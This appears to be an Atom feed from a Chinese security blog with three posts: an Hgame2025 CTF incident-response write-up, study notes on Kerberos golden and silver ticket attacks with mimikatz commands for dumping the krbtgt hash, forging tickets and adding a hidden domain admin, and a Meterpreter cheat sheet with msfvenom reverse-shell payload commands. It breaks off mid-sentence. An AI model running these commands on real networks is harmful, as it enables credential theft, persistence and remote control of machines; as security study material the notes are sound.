<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <title>Hexo</title>
  
  
  <link href="http://example.com/atom.xml" rel="self"/>
  
  <link href="http://example.com/"/>
  <updated>2025-03-08T08:18:27.733Z</updated>
  <id>http://example.com/</id>
  
  <author>
    <name>John Doe</name>
    
  </author>
  
  <generator uri="https://hexo.io/">Hexo</generator>
  
  <entry>
    <title>Hgame2025</title>
    <link href="http://example.com/2025/03/08/Hgame2025/"/>
    <id>http://example.com/2025/03/08/Hgame2025/</id>
    <published>2025-03-08T06:36:53.000Z</published>
    <updated>2025-03-08T08:18:27.733Z</updated>
    
    <content type="html"><![CDATA[<h1 id="hgame2025-misc"><a class="markdownIt-Anchor" href="#hgame2025-misc">#</a> Hgame2025 MISC</h1><blockquote><p>[!NOTE]</p><p>寒假忙着办比赛，（虽然也不咋忙，笔记只存在本地了懒得发了</p><p>在得物实习两周了，emmm 自我感觉良好</p></blockquote><p>主要是我出的两道应急响应题</p><h3 id="hakuya-want-a-girl-friend"><a class="markdownIt-Anchor" href="#hakuya-want-a-girl-friend">#</a> Hakuya Want A Girl Friend</h3><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/image-20250308161151207.png" alt="image-20250308161151207"></p><p>可以看出这一部分是一个压缩包，截取出来打开发现要密码</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/image-20250308161155685.png" alt="image-20250308161155685"></p><p>剩下的是倒序的 png，倒回来然后爆破宽高</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/image-20250308161158733.png" alt="image-20250308161158733"></p><p>拿到密码 <code>To_f1nd_th3_QQ</code></p><p>打开压缩包得到 flag</p><p h4kyu4_w4nt_gir1f3nd_+q_931290928>hagme</p><h3 id="computer-cleaner"><a class="markdownIt-Anchor" href="#computer-cleaner">#</a> Computer cleaner</h3><p>进入 /var/www/html    apache 的默认目录尝试寻找 webshell</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/image-20250308161754272.png" alt="image-20250308161754272"></p><p>查看日志</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/image-20250308161756294.png" alt="image-20250308161756294"></p><p>对于攻击者 ip 直接访问可以得到第二段</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/image-20250308161758791.png" alt="image-20250308161758791"></p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">cat ~/Documents/flag_part3</span><br></pre></td></tr></table></figure></div><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/image-20250308161801244.png" alt="image-20250308161801244"></p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">hgame&#123;y0u_hav3_cleaned_th3_c0mput3r!&#125;</span><br></pre></td></tr></table></figure></div><h3 id="computer-cleaner-plus"><a class="markdownIt-Anchor" href="#computer-cleaner-plus">#</a> Computer cleaner plus</h3><p>找后门，不断排查</p><p>查看命令是否被修改</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/image-20250308161821284.png" alt="image-20250308161821284"></p><p>ps 被修改</p><p>打开得到文件名</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/image-20250308161826095.png" alt="image-20250308161826095"></p><p b4ck_d0_or>hgame</p>]]></content>
    
    
      
      
    <summary type="html">&lt;h1 id=&quot;hgame2025-misc&quot;&gt;&lt;a class=&quot;markdownIt-Anchor&quot; href=&quot;#hgame2025-misc&quot;&gt;#&lt;/a&gt; Hgame2025 MISC&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;[!NOTE]&lt;/p&gt;
&lt;p&gt;寒假忙着办比赛</summary>
      
    
    
    
    <category term="WriteUp" scheme="http://example.com/categories/WriteUp/"/>
    
    
  </entry>
  
  <entry>
    <title>Kerberos&amp;Ticket</title>
    <link href="http://example.com/2024/11/26/Kerberos-Ticket/"/>
    <id>http://example.com/2024/11/26/Kerberos-Ticket/</id>
    <published>2024-11-26T15:20:28.000Z</published>
    <updated>2024-11-27T05:33:18.346Z</updated>
    
    <content type="html"><![CDATA[<p>Er… 仅仅是一个笔记</p><h2 id="kerberos"><a class="markdownIt-Anchor" href="#kerberos">#</a> Kerberos</h2><p>什么是域 —— 域是一组有边界的计算机的集合</p><p>在 Active Directory（AD）中，<strong>域</strong>是指一个管理范围或网络区域，它包含了用户、计算机、组等对象。通过域，管理员可以统一管理用户权限和资源访问。</p><p><em><strong>Kerberos 是一种基于加密 Ticket 的身份认证协议。</strong></em></p><h3 id="kerberos认证"><a class="markdownIt-Anchor" href="#kerberos认证">#</a> kerberos 认证</h3><p>参与 Kerberos 认证的有三个角色</p><ul><li><strong>DC</strong> 域控</li><li><ul><li>在 KDC（DC 中的一个组件：密钥分发中心）中又分为两个部分：<strong>Authentication Service</strong> (AS, 身份验证服务) 和<strong> Ticket Granting Service</strong> (TGS, 票据授权服务)，分别负责负责验证用户身份和发放服务票据</li></ul></li><li><strong>client</strong> 客户端</li><li><ul><li>Kerberos 客户端是代表需要访问资源的用户进行操作的应用程序，例如打开文件、查询数据库或打印文档。每个 Kerberos 客户端在访问资源之前都会请求身份验证。</li></ul></li><li><strong>server</strong></li><li><ul><li>域内提供服务的服务端，服务端都有一个独一的 SPN。</li></ul></li></ul><h4 id="spn"><a class="markdownIt-Anchor" href="#spn">#</a> SPN</h4><p>​<strong>SPN</strong>（<strong>Service Principal Name</strong>）是用于标识某个服务实例的名称，它通过在一个网络中的用户或计算机账户与该服务的实例之间建立映射来实现。它通常以特定的格式存在，帮助 Kerberos 客户端识别和验证网络中的服务。</p><p>SPN 的基本格式如下： <code>&lt;服务类型&gt;/&lt;主机名&gt;:&lt;端口号&gt;</code></p><p>例如：</p><ul><li><code>HTTP/server.example.com:80</code>  代表运行在  <code>server.example.com</code>  上的 HTTP 服务，端口为 80。</li><li><code>MSSQLSvc/sqlserver.example.com:1433</code>  代表运行在  <code>sqlserver.example.com</code>  上的 SQL Server 服务，端口为 1433。</li></ul><p>管理员可以使用  <code>setspn</code>  命令来管理 SPN：</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">setspn -A HTTP/server.example.com DOMAIN\user</span><br></pre></td></tr></table></figure></div><p>这条命令为 <code>DOMAIN\user</code>  账户添加了一个 HTTP 服务的 SPN</p><h4 id="kerberos认证流程"><a class="markdownIt-Anchor" href="#kerberos认证流程">#</a> kerberos 认证流程</h4><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202411262348720.png" alt="image-20241126234819595"></p><p>Kerberos 是一种基于票据 Ticket 的认证方式。客户端想要访问服务端的某个服务，首先需要购买服务端认可的 <strong>ST 服务票据 (Service Ticket)</strong>。也就是说，客户端在访问服务之前需要先买好票，等待服务验票之后才能访问。但是这张票并不能直接购买，需要一张 <strong>TGT 认购权证（Ticket Granting Ticket)</strong>。也就是说，客户端在买票之前必须先获得一张 TGT 认购权证。TGT 认购权证 和 ST 服务票据 均是由 KDC (密钥分发中心) 发放；因为 KDC 是运行在域控制器上，所以说 TGT 认购权证和 ST 服务票据均是由域控发放。</p><p>Kerberos 协议其中有两个基础认证模块：<strong>AS_REQ &amp; AS_REP 和 TGS_REQ &amp; TGS_REP</strong> ，以及微软扩展的两个认证模块 <strong>S4U 和 PAC</strong> 。S4U 是微软为了实现委派而扩展的模块，分为 <strong>S4U2Self 和 S4U2Proxy</strong> 。在 Kerberos 最初设计的流程里只说明了如何证明客户端的真实身份，但是并没有说明客户端是否有权限访问该服务，因为在域中不同权限的用户能够访问的资源是不同的。因此微软为了解决权限这个问题，引入了 <strong>PAC (Privilege Attribute Certificate，特权属性证书)</strong> 的概念。</p><h5 id="as_req-as_rep"><a class="markdownIt-Anchor" href="#as_req-as_rep">#</a> AS_REQ &amp; AS_REP</h5><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202411270000087.png" alt="img"></p><p><strong>1、KRB_AS-REQ 请求包分析</strong><br><strong> Client-&gt;AS</strong>：Client 先向 KDC 的 AS 发送 <strong>pA-ENC-TIMESTAMP</strong>（内容为<strong> Client hash 加密的时间戳</strong> ）</p><p>**AS-REQ：** 当域内某个用户想要访问域内某个服务时，于是输入用户名和密码，本机就会向 KDC 的 AS 认证服务发送一个 AS-REQ 认证请求。该请求包中包含如下信息：</p><ul><li><p><strong>请求的用户名 (cname)。</strong></p></li><li><p><strong>域名 (realm)。</strong></p></li><li><p>**Authenticator：** 一个抽象的概念，代表一个验证。这里是用户密钥加密的时间戳。</p></li><li><p>** 请求的服务名 (sname)：**AS-REQ 这个阶段请求的服务都是 krbtgt。</p></li><li><p><strong>加密类型 (etype)。</strong></p></li><li><p>** 以及一些其他信息：** 如版本号，消息类型，票据有效时间，是否包含 PAC，协商选项等。</p></li><li><p>用户向 KDC 发起 AS_REQ, 请求凭据是用户 hash 加密的时间戳。请求凭据放在 PA_DATA 里面</p><p><strong>krbtgt</strong> 是 Kerberos 中的一个特殊账户，用于存储和管理 Ticket Granting Ticket（TGT）。在 Kerberos 认证系统中，krbtgt 账户是一个系统级别的账户，用于生成 TGT 和使用自己的 hash（krbtgt hash）加密 TGT，并提供给用户进行身份验证和获取服务票据。那么如果攻击者获取到了这个 hash（krbtgt hash），那么就可以任意的伪造 TGT 了，也就是黄金票据，拥有了黄金票据就可以跳过 AS 验证了。</p><p>在 AS_REQ 阶段主要用到的有两个</p><p><strong>PA-ENC-TIMESTAMP</strong></p></li><li><ul><li>PA-DATA PA-ENC-TIMESTAMP：这个是预认证，就是用用户 Hash 加密时间戳，作为 value 发送给 KDC 的 AS 服务。然后 KDC 从活动目录中查询出用户的 hash，使用用户 Hash 进行解密，获得时间戳，如果能解密，且时间戳在一定的范围内，则证明认证通过。由于是使用用户密码 Hash 加密的时间戳，所以也就造成了哈希传递攻击</li></ul></li><li><p><strong>PA_PAC_REQUEST</strong></p></li><li><ul><li>这个是启用 PAC 支持的扩展。PAC 并不在原生的 kerberos 里面，是微软引进的扩展。PAC 包含在 AS_REQ 的响应 body (AS_REP)。这里的 value 对应的是 include=true 或者 include=false (KDC 根据 include 的值来判断返回的票据中是否携带 PAC)。</li></ul></li></ul><p><strong>2、 KRB_AS_REP 回复包分析：</strong><br><strong>AS-&gt;Client</strong>：AS 根据用户名在 AD 中寻找是否在 AD 数据库中，然后根据 Client 的用户名提取到对应的 Hash，接着<strong> pA-ENC-TIMESTAMP</strong> 用对应 Client 用户名的 Hash 进行解密，如果结果正确则会返回如下：</p><p>1、返回当前 KDC 中 krbtgt hash 加密的 TGT 票据 **（TGT 包含 PAC，PAC 包含 Client 的 sid，Client 所在的组）**，在通信数据包中显示的就是 ticket 字段</p><p>2、<strong>Authentication Service</strong> 会生成一个随机数<strong> Session key</strong>（这个非常重要，作为 kerberos 中下一轮的认证密钥），返回给 Client 由 Client 的 HASH 加密的 enc-part 字段</p><p>KDC 的 AS 认证服务在成功认证客户端的身份之后，发送 AS-REP 响应包给客户端。AS-REP 响应包中主要包括如下信息：</p><ul><li><p>请求的用户名 (cname)。</p></li><li><p>域名 (crealm)。</p></li><li><p>TGT 认购权证：包含明文的版本号，域名，请求的服务名，以及加密部分 enc-part。加密部分用 krbtgt 密钥加密。加密部分包含 Logon Session Key、用户名、域名、认证时间、认证到期时间和 authorization-data。authorization-data 中包含最重要的 PAC 特权属性证书 (包含用户的 RID，用户所在组的 RID) 等。</p></li><li><p>enc_Logon Session Key：使用用户密钥加密 Logon Session Key 后的值，其作用是用于确保客户端和 KDC 下阶段之间通信安全。也就是 AS-REP 中最外层的 enc-part。</p></li><li><p>以及一些其他信息：如版本号，消息类型等。</p></li></ul><p><strong>TGT 认购权证</strong><br> AS-REP 响应包中的 ticket 便是 TGT 认购权证了。TGT 认购权证中包含一些明文显示的信息，如版本号 tkt-vno、域名 realm、请求的服务名 sname。但是 TGT 认购权证中最重要的还是加密部分，加密部分是使用 krbtgt 帐户密钥加密的。加密部分主要包含的内容有 Logon Session Key、请求的用户名 cname、域名 crealm、认证时间 authtime、认证到期时间 endtime、authorization-data 等信息。</p><p>最重要的还是 authorization-data 部分，这部分中包含客户端的身份权限等信息，这些信息包含在 PAC 中。</p><p>**KDC 生成 PAC 的过程如下：**KDC 在收到客户端发来的 AS-REQ 请求后，从请求中取出 cname 字段，然后查询活动目录数据库，找到 sAMAccountName 属性为 cname 字段的值的用户，用该用户的身份生成一个对应的 PAC。</p><p><strong>Logon Session Key</strong><br>AS-REP 响应包最外层的那部分便是加密的 Login session Key 了，其作用是用于确保客户端和 KDC 下阶段之间通信安全，它使用请求的用户密钥加密。</p><p>我们对最外层的 enc-part 部分进行解密，就可以看到是使用 hack 用户的密钥对其进行解密的。</p><p>解密结果如下：主要包含的内容是认证时间 authtime、认证到期时间 endtime、域名 srealm、请求的服务名 sname、协商标志 flags 等一些信息。需要说明的是，在 TGT 认购权证中也包含 Logon Session Key  ，作为下阶段的认证密钥。</p><p><strong>ticket</strong><br> 这个 ticket 用于 TGS_REQ 的认证。是加密的，用户不可读取里面的内容。在 AS_REQ 请求里面是，是使用 krbtgt 的 hash 进行加密的，因此如果我们拥有 krbtgt 的 hash 就可以自己制作一个 ticket，既黄金票据。</p><h5 id="tgs_req-tgs_rep"><a class="markdownIt-Anchor" href="#tgs_req-tgs_rep">#</a> TGS_REQ &amp; TGS_REP</h5><p><strong>KRB_TGS_REQ (请求)：</strong><br>Client 接收到了加密后的 ticket (TGT) 和 enc-part 之后，先对 enc-part 用自身密码 HASH 解密得到 Session key，也就是上文中说的 随机生成的 Session key。</p><p><strong>TGT 是由 KDC 中 krbtgt 的 Hash 加密</strong>，所以 Client 无法解密。</p><p>这时 Client 继续再用 Session key 加密的 TimeStamp（authenticator，然后再和 ticket (TGT) 一起发送给 KDC 中的 TGS（TicketGranting Server）票据授权服务器换取能够访问 Server 的票据。</p><p>然后这里面的 ticket 其实还是我们的 TGT 票据</p><p><strong>KRB_TGS_REP (应答)：</strong><br>TGS 收到 Client 发送过来的 ticket (TGT) 和 Session key 加密 TimeStamp 的 authenticator 之后，首先会检查自身是否存在 Client 所请求的服务。如果服务存在，则用 krbtgt 的 HASH 来解密 ticket (TGT)。</p><p><strong>一般情况下 TGS 会检查 TGT 中的时间戳查看 TGT 是否过期，且原始地址是否和 TGT 中保存的地址相同。</strong></p><p>验证成功之后将返回 Client 两个东西，一个是用 Session key 加密的 enc-part，然后另一个是 Client 要访问的 Server 的密码 HASH 加密的 TGS 票据（要访问服务端的 Hash）生成就是 ST（TGS）票据，那么此时的 ticket 就是 TGS 了</p><p>这个过程其实跟我们请求 TGT 是一样的，你可以看到一个 ticket (TGS) 和一个 enc-part</p><p>enc-part 这个部分同样是可以解密的，原因就是这里 enc-part 加密用的密钥，实际上就是上一轮 AS_REP 里面返回的 Session key，从开始到现在这里的 Session key 一直都是一样的，作为下一轮通信的认证密钥。</p><h2 id="票据攻击"><a class="markdownIt-Anchor" href="#票据攻击">#</a> 票据攻击</h2><p>黄金票据是伪造 TGT，白银票据则是伪造 ST</p><h3 id="黄金票据golden-ticket"><a class="markdownIt-Anchor" href="#黄金票据golden-ticket">#</a> 黄金票据（Golden ticket）</h3><p>黄金票据伪造的是票据授予票据 (TGT)，TGT=krbtgt hash (session key,client info，end time)。TGT 由 AS 返回给 client，然后 client 用 TGT 来向 TGS 验证自己的身份，而 client 是不知道 krbtgt hash 的，只有 AS 与 TGS 知道 krbtgt hash，所以要想伪造 TGT 就需要知道 krbtgt hash。所以攻击者伪造黄金票据 TGT 的前提是获得管理员访问域控制器的权限并抓取到 krbtgt hash。</p><p>而 session key 是由 AS 随机生成的，TGS 在收到 TGT 之前并不知道，所以可以伪造。client info 和 end time 也是可以自己定的。所以我们可以伪造由 client 发给 TGS 的 TGS REQ，进而获得 server ticket。</p><p>黄金票据常用于权限维持。 当我们获得域控的控制权限后，有可能获取域内所有用户的 hash，和 krbtgt 的 hash。这时，由于一些原因导致我们失去对目标的控制权，但是我们还留有一个普通用户的权限，并且 krbtgt 的密码没有更改，此时我们可以利用 krbtgt 用户的 ntlm hash 制作黄金票据伪造 tgt，重新获取域控的管理权限。</p><p><strong>条件：</strong></p><p>1、域名称<br> 2、域的 SID 值<br> 3、域的 KRBTGT 账号的 HASH<br>4、伪造任意用户名<br>（获取域的 SID 和 KRBTGT 账号的 NTLM HASH 的前提是需要已经拿到了域的权限）</p><p><strong>黄金票据的特点</strong><br>（1） KDC 中的 TGS 不通过读取 AD 来验证来自 client 的 TGS REQ 中的用户账户信息，知道 TGT 超过 20 分钟，这意味着攻击者可以使用禁用和删除帐户，甚至是在 Active Directory 中不存在的虚拟帐户。<br>（2） 由于 Kerberos 的策略是由 DC 上的 KDC 设置的，所以如果提供票据，则系统就会信任票据的有效性。也就是说，即使域策略声明 TGT 只有 10 小时有效，但将 TGT 中声明的有效期改为 10 年，那信任票据的有效性期会成为 10 年而不是 10 小时。<br>（3） 绕过了 SmartCard 身份验证要求，因为它绕过了 DC 在创建 TGT 之前执行的常规验证。<br>（4） 要求攻击者拥有 Active Directory 域的 KRBTGT 密码哈希值，从而伪造 TGT。<br>（5） Krbtgt hash 可用于生成一个有效的 TGT（使用 RC4），模拟任何用户访问 Active Directory 中的任何资源。<br>（6） 只要网络可以访问域，即使没有加入域，在主机上也可以生成和使用黄金票据。</p><p><strong>黄金票据防御</strong><br>（1） 限制域管理员登录到除域控制器和少数管理服务器以外的任何其他计算机，将所有其他权限委派给自定义管理员组。这可以降低攻击者访问域控制器的 Active Directory 的 ntds.dit 文件。而如果攻击者无法访问 AD 数据库（ntds.dit 文件），则其无法获取到 krbtgt hash。<br>（2） 增加更改 krbtgt 账户的密码的频率。</p><h4 id="制作黄金票据"><a class="markdownIt-Anchor" href="#制作黄金票据">#</a> 制作黄金票据</h4><p><strong>基本信息获取（SID, 所处域）</strong></p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">这里直接在域控制权上进行操作</span><br><span class="line">whoami /user    获取域的sid值(去掉最后的-500，500表示为administrator用户)</span><br><span class="line">net config workstation  查看所处域</span><br></pre></td></tr></table></figure></div><p><strong>获取 krbtgt 用户 hash</strong></p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">运行mimikatz.exe</span><br><span class="line">privilegeg::debug       #开启特权模式</span><br><span class="line">lsadump::lsa /patch#获取krbtgt用户hash,域的sid</span><br><span class="line">lsadump::lsa /patch /user:krbtgt</span><br></pre></td></tr></table></figure></div><p><strong>制作黄金票据（使用 mimikatz）</strong></p><p>此时我们<strong>已经拥有 krbtgt 账号的 hash</strong>，接下来切换到普通机器，使用 mimikatz 制作黄金票据。</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">Kerberos::purge</span><br><span class="line">klist purge这两条命令可以清除机器中的票据，以防干扰</span><br><span class="line"></span><br><span class="line">kerberos::golden /user:administrator /domain:cyber.com /sid:S-1-5-21-1923088019-4105411894-1236499359 /krbtgt:d40f0e3b1347e55dbfd6dc58e80a3b6e /ticket:ticket.kirbi</span><br><span class="line"></span><br><span class="line">kerberos::golden /user:XXX任意用户名 /domain:域名 /sid:域的sid值 /ticket:XXX.kirbi(生成的票据名称)</span><br></pre></td></tr></table></figure></div><p><strong>票据传递</strong></p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">kerberos::ptt ticket.kirbi</span><br><span class="line">dir \\dc.cyber.com\c$ #这里好像一定要完整的主机名才行</span><br></pre></td></tr></table></figure></div><p>此时一个通往域内任意服务的后门制作完成。</p><p>可以直接使用 psexec 工具获得交互权限</p><p><code>PsExec64.exe \\dc.cyber.com -s cmd.exe </code></p><p>也可以在域内创建隐藏用户。</p><p><code>net user qwerty$ Aa123456 /add /domain net group &quot;domain admins&quot; qwerty$ /domain</code></p><h3 id="白银票据silver-ticket"><a class="markdownIt-Anchor" href="#白银票据silver-ticket">#</a> 白银票据（Silver ticket）</h3><p>如果说黄金票据是伪造的 TGT, 那么白银票据就是伪造的 ST。 在 Kerberos 认证的第三部，Client 带着 ST 和 Authenticator3 向 Server 上的某个服务进行请求，Server 接收到 Client 的请求之后，通过自己的 Master Key 解密 ST, 从而获得 Session Key。通过 Session Key 解密 Authenticator3, 进而验证对方的身份，验证成功就让 Client 访问 server 上的指定服务了。 所以我们只需要知道 Server 用户的 Hash 就可以伪造出一个 ST, 且不会经过 KDC, 但是伪造的门票只对部分服务起作用。</p><p><strong>所需条件</strong></p><p>1. 域名<br> 2. 域 sid<br>3. 目标服务器名<br> 4. 可利用的服务<br> 5. 服务账号的 NTML HASH<br>6. 需要伪造的用户名</p><h4 id="制作白银票据"><a class="markdownIt-Anchor" href="#制作白银票据">#</a> 制作白银票据</h4><p><strong>基本信息获取（SID，所处域，服务器名，NTLM HASH）</strong></p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">SID和所处域参考上面</span><br><span class="line">whoami /user </span><br><span class="line">net config workstation</span><br><span class="line"></span><br><span class="line">获取服务账号hash</span><br><span class="line">mimikatz.exe &quot;privilege::debug&quot; &quot;sekurlsa::logonPasswords&quot; &gt; &#x27;xxx.txt&#x27;</span><br></pre></td></tr></table></figure></div><p><strong>制作白银票据（使用 mimikatz）</strong></p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">klist purge  清除票据</span><br><span class="line"></span><br><span class="line">kerberos::golden /domain:cyber.com /sid:S-1-5-21-1923088019-4105411894-1236499359 /target:dc.cyber.com /service:cifs /rc4:45bdd23a3b9fc1c44a9fbb4081a70b30 /user:aaaa /ptt</span><br><span class="line"></span><br><span class="line">kerberos::golden /domain:域名 /sid:域sid /target:目标服务器 /service:目标服务 /rc4:目标服务器的hash /user:xxx用户名 /ptt</span><br></pre></td></tr></table></figure></div><h3 id="金票和银票的区别"><a class="markdownIt-Anchor" href="#金票和银票的区别">#</a> 金票和银票的区别</h3><p>获取的权限不同</p><p>金票：伪造的 TGT，可以获取任意 Kerberos 的访问权限</p><p>银票：伪造的 ST，只能访问指定的服务，如 CIFS</p><p>认证流程不同</p><p>金票：同 KDC 交互，但不同 AS 交互</p><p>银票：不同 KDC 交互，直接访问 Server</p><p>加密方式不同</p><p>金票：由 krbtgt NTLM Hash 加密</p><p>银票：由服务账号 NTLM Hash 加密</p>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;Er… 仅仅是一个笔记&lt;/p&gt;
&lt;h2 id=&quot;kerberos&quot;&gt;&lt;a class=&quot;markdownIt-Anchor&quot; href=&quot;#kerberos&quot;&gt;#&lt;/a&gt; Kerberos&lt;/h2&gt;
&lt;p&gt;什么是域 —— 域是一组有边界的计算机的集合&lt;/p&gt;
&lt;p&gt;在 Ac</summary>
      
    
    
    
    <category term="Web Penetration" scheme="http://example.com/categories/Web-Penetration/"/>
    
    
  </entry>
  
  <entry>
    <title>Meterpreter</title>
    <link href="http://example.com/2024/11/16/Meterpreter/"/>
    <id>http://example.com/2024/11/16/Meterpreter/</id>
    <published>2024-11-16T12:55:13.000Z</published>
    <updated>2024-11-17T12:47:16.620Z</updated>
    
    <content type="html"><![CDATA[<h2 id="meterpreter"><a class="markdownIt-Anchor" href="#meterpreter">#</a> Meterpreter</h2><h3 id="reverse_shell"><a class="markdownIt-Anchor" href="#reverse_shell">#</a> reverse_shell</h3><h4 id="reverse_tcp"><a class="markdownIt-Anchor" href="#reverse_tcp">#</a> reverse_tcp</h4><p><strong>Linux</strong>：</p><p><code>msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.1.102 lport=4444 -f elf -o shell</code></p><p><strong>Windows：</strong></p><p><code>msfvenom -p windows/meterpreter/reverse_tcp lhost=[你的IP] lport=[端口] -f exe -o 要生成的文件名</code></p><p><code>msfvenom -p  windows/meterpreter/reverse_tcp lhost=192.168.1.102 lport=4444 -f exe -o  shell.exe</code></p><h4 id="reverse_http"><a class="markdownIt-Anchor" href="#reverse_http">#</a> reverse_http</h4><p><code>payload:/windows/meterpreter/reverse_http</code></p><h4 id="reverse_https"><a class="markdownIt-Anchor" href="#reverse_https">#</a> reverse_https</h4><p><code>payload:/windows/meterpreter/reverse_https</code></p><h4 id="bind_tcp"><a class="markdownIt-Anchor" href="#bind_tcp">#</a> bind_tcp</h4><p>这是一个基于 TCP 的正向连接 shell，因为在内网跨网段时无法连接到 attack 的机器，所以在内网中经常会使用，不需要设置 LHOST。</p><p><code>msfvenom -p linux/x86/meterpreter/bind_tcp lport=4444 -f elf -o shell</code></p><h3 id="meterpreter的常用命令"><a class="markdownIt-Anchor" href="#meterpreter的常用命令">#</a> Meterpreter 的常用命令</h3><h4 id="1基本命令"><a class="markdownIt-Anchor" href="#1基本命令">#</a> 1. 基本命令</h4><p>help# 查看 Meterpreter 帮助</p><p>background# 返回，把 meterpreter 后台挂起</p><p>bgkill# 杀死一个背景 meterpreter 脚本</p><p>bglist# 提供所有正在运行的后台脚本的列表</p><p>bgrun# 作为一个后台线程运行脚本</p><p>channel# 显示活动频道</p><p>sessions -i number # 与会话进行交互，number 表示第 n 个 session, 使用 session -i 连接到指定序号的 meterpreter 会话已继续利用</p><p>sesssions -k number #与会话进行交互</p><p>close# 关闭通道</p><p>exit# 终止 meterpreter 会话</p><p>quit# 终止 meterpreter 会话</p><p>interact id #切换进一个信道</p><p>run# 执行一个已有的模块，这里要说的是输入 run 后按两下 tab，会列出所有的已有的脚本，常用的有 autoroute,hashdump,arp_scanner,multi_meter_inject 等</p><p>irb# 进入 Ruby 脚本模式</p><p>read# 从通道读取数据</p><p>write# 将数据写入到一个通道</p><p>run 和 bgrun# 前台和后台执行以后它选定的 meterpreter 脚本</p><p>use# 加载 meterpreter 的扩展</p><p>load/use# 加载模块</p><p>Resource# 执行一个已有的 rc 脚本</p><h4 id="2文件系统命令"><a class="markdownIt-Anchor" href="#2文件系统命令">#</a> 2. 文件系统命令</h4><p>cat c:\boot.ini# 查看文件内容，文件必须存在</p><p>del c:\boot.ini #删除指定的文件</p><p><strong>upload /root/Desktop/netcat.exe c:\ # 上传文件到目标机主上</strong>，如 upload setup.exe C:\windows\system32\</p><p><strong>download nimeia.txt/root/Desktop/  # 下载文件到本机</strong> 如：download C:\boot.ini/root / 或者 download C:\“ProgramFiles”\Tencent\QQ\Users\295******125\Msg2.0.db/root/</p><p>edit c:\boot.ini # 编辑文件</p><p>getlwd# 打印本地目录</p><p>getwd# 打印工作目录</p><p>lcd# 更改本地目录</p><p>ls# 列出在当前目录中的文件列表</p><p>lpwd# 打印本地目录</p><p>pwd# 输出工作目录</p><p>cd c:\ #进入目录文件下</p><p>rm file #删除文件</p><p>mkdir dier #在受害者系统上的创建目录</p><p>rmdir# 受害者系统上删除目录</p><p>dir# 列出目标主机的文件和文件夹信息</p><p>mv# 修改目标主机上的文件名</p><p>search -d d:\www -f web.config #search 文件，如 search -d c:\ -f*.doc</p><p>meterpreter &gt; search -f autoexec.bat #搜索文件</p><p>meterpreter &gt; search -f sea*.bat c:\xamp\</p><p>enumdesktops   #用户登录数</p><p><strong>在主机上运行某个进程</strong>（-H 是隐藏后台执行）</p><p><code>execute -H -f notepad.exe</code></p><p><strong>在目标主机内存中直接执行我们攻击主机上的攻击程序</strong></p><p><code>execute -H -m -d notepad.exe-f wce.exe -a &quot;-o wce.txt&quot;</code></p><ul><li>-d 在目标主机执行时显示的进程名称（用以伪装）</li><li>-m 直接从内存中执行</li><li>&quot;-o wce.txt&quot; 是 wce.exe 的运行参数</li></ul><p>“idletime” 命令为<strong>显示目标机器截止到当前无操作命令的时间</strong>。</p><p><strong>search 命令</strong></p><ul><li>“search“命令在目标主机搜索特定的文件。该命令能够通过搜索整个系统或特定的文件夹。</li><li>使用 “search –h” 命令来查看 search 命令的帮助信息：</li><li>下图中，“search –f aa.txt” 命令为查看目标机中在当前目录以及当前目录的子目录中有没有 aa.txt 这个文件，若有则显示出其路径。</li><li>“search –f l*.txt c:\pp” 为显示出 c:\pp 下及 pp 文件夹下所有的子文件下所有以 l 开头的 txt 